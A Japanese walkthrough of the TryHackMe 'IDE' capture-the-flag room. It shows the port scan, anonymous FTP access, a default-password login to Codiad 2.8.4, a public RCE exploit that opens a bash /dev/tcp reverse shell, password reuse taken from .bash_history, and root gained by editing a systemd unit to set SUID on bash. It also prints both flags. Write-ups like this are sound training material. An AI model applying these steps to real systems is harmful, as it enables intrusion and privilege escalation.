【TryHackMe】IDE：Walkthrough

# 概要

TryHackMe「IDE」のWalkthroughです。

https://tryhackme.com/r/room/ide

# Task1

## **Q1**.*user.txt*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.103.180 -oN nmap_result
PORT      STATE    SERVICE VERSION
21/tcp    open     ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:be:d3:3c:e8:76:81:ef:47:7e:d0:43:d4:28:14:28 (RSA)
|   256 a8:82:e9:61:e4:bb:61:af:9f:3a:19:3b:64:bc:de:87 (ECDSA)
|_  256 24:46:75:a7:63:39:b6:3c:e9:f1:fc:a4:13:51:63:20 (ED25519)
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
62337/tcp open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Codiad 2.8.4
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|
|62337|http|Apache httpd 2.4.29|

FTPに`anonymous`で接続します。

```
$ ftp 10.10.103.180
Connected to 10.10.103.180.
220 (vsFTPd 3.0.3)
Name (10.10.103.180:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

`/.../-`ファイルを発見したのでダウンロードします。

```
ftp> get -
local: - remote: -
229 Entering Extended Passive Mode (|||29383|)
150 Opening BINARY mode data connection for - (151 bytes).
100% |************************************************************************|   151       71.40 KiB/s    00:00 ETA
226 Transfer complete.
151 bytes received in 00:00 (0.61 KiB/s)
```

中身を確認すると、デフォルトのパスワードでログイン出来るようです。

```
Hey john,
I have reset the password as you have asked. Please use the default password to login. 
Also, please take care of the image file ;)
- drac.
```

`62337`ポートにアクセスするとログインフォームが表示されました。

![login form.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9a9517a9-10ee-fcd9-2178-94fb577818cd.jpeg)

`Username: john`,`Password: password`でログインに成功しました。

![login success.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3f1a62f5-94fc-11ca-67bd-fc52564f9d7f.jpeg)

`Codiad 2.8.4`が使用されています。

https://github.com/Codiad/Codiad

脆弱性情報を検索するとRCEの脆弱性が見つかりました。

https://www.exploit-db.com/exploits/49705

PoCを実行します。

```
$ python 49705.py http://10.10.103.180:62337/ john password 10.6.55.144 1234 linux
[+] Please execute the following command on your vps: 
echo 'bash -c "bash -i >/dev/tcp/10.6.55.144/1235 0>&1 2>&1"' | nc -lnvp 1234
nc -lnvp 1235
[+] Please confirm that you have done the two command above [y/n]
[Y/n]
```

別ターミナルでコマンドを実行します。

```
$ echo 'bash -c "bash -i >/dev/tcp/10.6.55.144/1235 0>&1 2>&1"' | nc -lnvp 1234
```

また、別ターミナルでコマンドを実行します。

```
$ nc -lnvp 1235
```

`Y`を入力するとリバースシェルを張れます。

```
Y/n] Y
[+] Starting...
[+] Login Content : {"status":"success","data":{"username":"john"}}
[+] Login success!
[+] Getting writeable path...
[+] Path Content : {"status":"success","data":{"name":"CloudCall","path":"\/var\/www\/html\/codiad_projects"}}
[+] Writeable Path : /var/www/html/codiad_projects
[+] Sending payload...
```

```
$ nc -lnvp 1235
listening on [any] 1235 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.103.180] 59910
bash: cannot set terminal process group (895): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ide:/var/www/html/codiad/components/filemanager$ whoami
whoami
www-data
www-data@ide:/var/www/html/codiad/components/filemanager$
```

TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
```

`/home/drac/.bash_history`を見るとMySQLのユーザー名とパスワードを得られました。

```
mysql -u drac -p 'Th3dRaCULa1sR3aL'
```

`Username: drac`,`Password: Th3dRaCULa1sR3aL`でSSH接続に成功しました。

```
$ ssh drac@10.10.103.180
drac@ide:~$
```

`/home/drac/user.txt`でフラグを入手できます。

```/home/drac/user.txt
02930d21a8eb009f6d26361b2d24a466
```

**A**.**02930d21a8eb009f6d26361b2d24a466**

## **Q2**.*root.txt*

`sudo -l`を実行し確認します。

```
$ sudo -l
[sudo] password for drac: 
Matching Defaults entries for drac on ide:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User drac may run the following commands on ide:
    (ALL : ALL) /usr/sbin/service vsftpd restart
```

`/usr/sbin/service vsftpd restart Privilege Escalation`で検索すると下記サイトが見つかりました。
下記サイトを参考に実行します。

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-service-privilege-escalation/

`vsftpd`の設定ファイルを検索すると`/etc/systemd/system/multi-user.target.wants/vsftpd.service`が見つかりました。

```
$ find / -name "*vsftpd*" 2>/dev/null
/etc/systemd/system/multi-user.target.wants/vsftpd.service
```

設定ファイルは編集権限がるので、`ExecStartPre`項目を`/bin/bash -c 'chmod u+s /bin/bash'`に編集します。

```
$ ls -l /etc/systemd/system/multi-user.target.wants/vsftpd.service
lrwxrwxrwx 1 root root 34 Jun 18  2021 /etc/systemd/system/multi-user.target.wants/vsftpd.service -> /lib/systemd/system/vsftpd.service
```

```/etc/systemd/system/multi-user.target.wants/vsftpd.service
[Unit]
Description=vsftpd FTP server
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
ExecReload=/bin/kill -HUP $MAINPID

# 編集箇所
ExecStartPre=/bin/bash -c 'chmod u+s /bin/bash'
```

実行すると`/bin/bash`にSUIDが設定されています。

```
$ systemctl daemon-reload
$ sudo /usr/sbin/service vsftpd restart
$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
```

rootのシェルを取得できました。

```
$ /bin/bash -p
bash-4.4# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
ce258cb16f47f1c66f0b0b77f4e0fb8d
```

**A**.**ce258cb16f47f1c66f0b0b77f4e0fb8d**